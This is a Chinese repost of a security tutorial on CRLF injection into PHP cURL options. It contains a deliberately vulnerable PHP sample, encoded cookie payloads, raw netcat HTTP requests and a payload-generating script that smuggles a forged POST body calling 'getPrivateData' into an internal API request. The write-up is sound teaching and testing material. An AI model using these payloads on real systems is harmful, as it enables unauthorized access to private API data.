首页 » SEO优化 » php能在tom技巧_将CRLF注入PHP的cURL选项

php能在tom技巧_将CRLF注入PHP的cURL选项

访客 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

图1

php能在tom技巧_将CRLF注入PHP的cURL选项

这是一篇有关将回车符和换行符注入内部API调用的文章。
我一年前在Gist on GitHub[2]上写这篇文章,但它并不是真正的博客文章最佳平台,不是吗?我在此处添加了更多详细信息,因此不仅仅是直接复制和粘贴。

php能在tom技巧_将CRLF注入PHP的cURL选项
(图片来自网络侵删)

我喜好在可能的时候做白盒测试。
我并不是一个出色的黑盒测试者,但是我花了十多年的韶光读写PHP程序,在此过程中我犯了很多缺点,以是我知道要探求什么。

预览代码,碰到了类似如下功能:

<?php// common.php​function getTrialGroups(){ $trialGroups = 'default';​ if (isset($_COOKIE['trialGroups'])){ $trialGroups = $_COOKIE['trialGroups']; }​ return explode(",", $trialGroups);}

我正看的这个别系中有个一个'Trial Group'的观点。
每个用户会话都有一组与之关联的组,并以逗号分隔的列脸色势存储在Cookie中。
这个想法是,当启动新功能时,可以首先让一小部分客户启用它们,以降落功能发布的风险,或者许可比较功能上的不同变体(一种称为A/B测试[3]的方法)。
getTrialGroups()函数仅读取cookie值,分割列表(上面的逗号分隔的数据), 然后返回给用户一个试用功能的数组。

此功能中短缺白名单功能立即引起了我的把稳。
我对别的的代码库进行查找,以找到调用该函数的位置,这样我就可以查看其返回值是否存在任何不屈安的用法。

<?php// server.php​// Include common functionsrequire __DIR__.'/common.php';​// Using the awesome httpbin.org here to just reflect// our whole request back at us as JSON :)$ch = curl_init("http://httpbin.org/post");​// Make curl_exec return the response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);​// Set the content type and pass through any trial groupscurl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", "X-Trial-Groups: " . implode(",", getTrialGroups())]);​// Call the 'getPublicData' RPC method on the internal APIcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([ "method" => "getPublicData", "params" => []]));​// Return the response to the userecho curl_exec($ch);​curl_close($ch);

这段代码利用cURL库在内部JSON API上调用了getPublicData方法。
该API须要理解用户的试用组(上面提到的试用功能列表),以便可以相应地变动其行为,因此这些试用组将通过X-Trial-Groups(自定义的Http Header)头通报给API。

这里的问题是,在设置CURLOPT_HTTPHEADER时,不检讨回车符或换行符。
由于getTrialGroups()函数返回用户可掌握的数据,因此可以向API要求中插入任意标头。

示例

为了使操作更随意马虎理解,我将利用PHP的内置网络做事器在本地运行server.php:

tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.phpPHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018Listening on http://localhost:1234Document root is /home/tom/tmp/crlfPress Ctrl-C to quit.

利用cURL命令行程序,我们可以发送一个示例,个中包括一个trialGroups cookie:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'

返回值:

{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "/", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

我利用的是http://httpbin.org/post,而不是内部API,它返回一个JSON文档,该文档描述了已发送的`POST`要求,包括要求中的所有`POST`数据和标头。

关于相应的主要把稳事变是,发送到httpbin.org的X-Trial-Groups标头包含在trialGroups cookie中的A1,B2字符串。
让我们考试测验一些有CRLF(回车换行)注入的数据:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'

返回值:

{ "args": {}, "data": "{\"method\":\"getPublicData\",\"params\":[]}", "files": {}, "form": {}, "headers": { "Accept": "/", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

PHP会自动将Cookie值中的URL编码序列(例如%0d,%0a)解码,因此我们可以在发送的Cookie值中利用URL编码的回车符(%0d)和换行符(%0a)。
HTTP标头由CRLF序列分隔,因此,当PHP cURL库写入要求标头时,X-Injected:有效载荷的真实部分被视为独立标头。

HTTP要求

通过将标头注入要求中,您真正能做什么?说实话,这个例子中能做的不是很多。
如果我们对HTTP要求的构造进行更深入的研究,您会创造我们不仅可以注入标头,还可以做更多的事情;我们也可以注入POST数据!

要理解漏洞利用的事情办法,您须要对HTTP要求有所理解。
您可以实行的最基本的HTTP POST要求如下所示:

POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7thedata

我们逐行剖析.

POST /post HTTP/1.1

第一行说,利用HTTP版本1.1,利用POST方法将要求发送到/post端点

Host: httpbin.org

此标头见告远程做事器,我们正在httpbin.org上要求一个页面。
这彷佛是多余的,但是当您连接到HTTP做事器时,您是在连接做事器的IP地址,而不是域名。
如果您的要求中未包含Host标头,则做事器将无法知道您在浏览器的地址栏中键入的域名。

Connection: close

此标头哀求做事器在完成发送相应后关闭根本TCP连接。
如果没有此标头,则发送相应后,连接可能保持打开状态。

Content-Length: 7

Content-Length标头见告做事器在要求正文中将发送多少字节的数据。
这一点很主要.

这里没有缺点;空行只包含CRLF序列。
它见告做事器我们已经完成了发送头,并且要求正文即将发送。
(每个Http要求的数据和要求头都须要一个空行来分割,这个是Http协议中规定的内容)。

thedata

末了,我们发送要求正文(又称为POST数据)。
它的长度(以字节为单位)必须与我们之前发送的Content-Length标头匹配,由于我们见告做事器它将必须读取那么多字节。

让我们通过将echo命令通报到netcat来将此要求发送到httpbin.org:

tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

统统正常。
我们得到一些相应头,一个CRLF序列,然后是相应主体。

因此,诀窍出在这里:如果发送的POST数据比Content-Length标头中所解释的要多,该怎么办?试试看:

tom@slim:~▶ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

我们保持Content-Length标头不变,并说我们将发送7个字节,并向要求正文中添加了更多数据,但做事器仅读取了前7个字节。
这便是我们可以用来实际利用漏洞的技巧。

利用程序

事实证明,当您设置CURLOPT_HTTPHEADER选项时,不仅可以利用单个CRLF序列注入http要求头,还可以利用双CRLF序列注入POST数据。
我们实验如下:

•1.在我们自己的JSON POST数据后,该数据调用getPublicData之外的其他方法;假设getPrivateData

•2.获取该数据的长度(以字节为单位)

•3.利用单个CRLF序列,注入Content-Length标头,指示做事器仅读取该字节数

•4.注入两个CRLF序列,然后注入我们的恶意JSON作为POST数据

如果统统顺利,内部API该当完备忽略合法的JSON POST数据,以支持我们的恶意JSON。

为了使事情变得随意马虎,我方向于编写一些小的脚本来天生这类有效payload。
它减少了我犯错的机会,使我的大脑陷入困境,试图弄清为什么它不起浸染。
这是我写的:

tom@slim:~▶ cat gencookie.php

<?php$postData = '{"method": "getPrivateData", "params": []}';$length = strlen($postData);$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";echo "trialGroups=".urlencode($payload);tom@slim:~▶ php gencookie.php trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D

考试测验:

tom@slim:~▶ curl -s localhost:1234 -b $(php gencookie.php)

返回值:

{ "args": {}, "data": "{\"method\": \"getPrivateData\", \"params\": []}", "files": {}, "form": {}, "headers": { "Accept": "/", "Connection": "close", "Content-Length": "42", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getPrivateData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

成功!
我们将x-Trial-Groups标头设置为ignore,注入Content-Length标头和我们自己的POST数据。
合法的POST数据仍旧被发送,但是做事器完备忽略了它。

这是您不太可能在黑盒测试时创造的缺点,但我认为仍旧值得一提,由于这些天利用的开源代码太多了,对编写代码的人有很好的启示。

其他攻击

自发现此缺点以来,我一贯努力把稳类似情形。
在我的研究中,我创造CURLOPT_HTTPHEADER并不是唯一随意马虎受到相同攻击的cURL选项。
以下选项(可能还有其他选项)在要求中隐式设置标头,并且随意马虎受到攻击:

• CURLOPT_HEADER•CURLOPT_COOKIE•CURLOPT_RANGE•CURLOPT_REFERER•CURLOPT_USERAGENT•CURLOPT_PROXYHEADERReferences

[1] CRLF Injection Into PHP’s cURL Options: https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545

[2] Gist on GitHub: https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da

[3] A/B测试: https://en.wikipedia.org/wiki/A/B_testing

标签:

相关文章

我国土地利用分类代码的构建与应用

土地利用分类代码是我国土地管理的重要组成部分,是土地资源调查、规划、利用和保护的依据。土地利用分类代码的构建与应用显得尤为重要。本...

SEO优化 2025-02-18 阅读1 评论0

微信跳转微信支付便捷支付体验的秘密武器

移动支付已成为人们日常生活中不可或缺的一部分。作为我国领先的社交平台,微信支付凭借其便捷、安全的支付方式,深受广大用户的喜爱。而微...

SEO优化 2025-02-18 阅读0 评论0

探寻会计科目代码背后的奥秘分类与

会计科目代码是会计信息系统中不可或缺的组成部分,它将企业的经济活动进行分类和归纳,为会计核算、财务分析和决策提供重要依据。本文将从...

SEO优化 2025-02-18 阅读1 评论0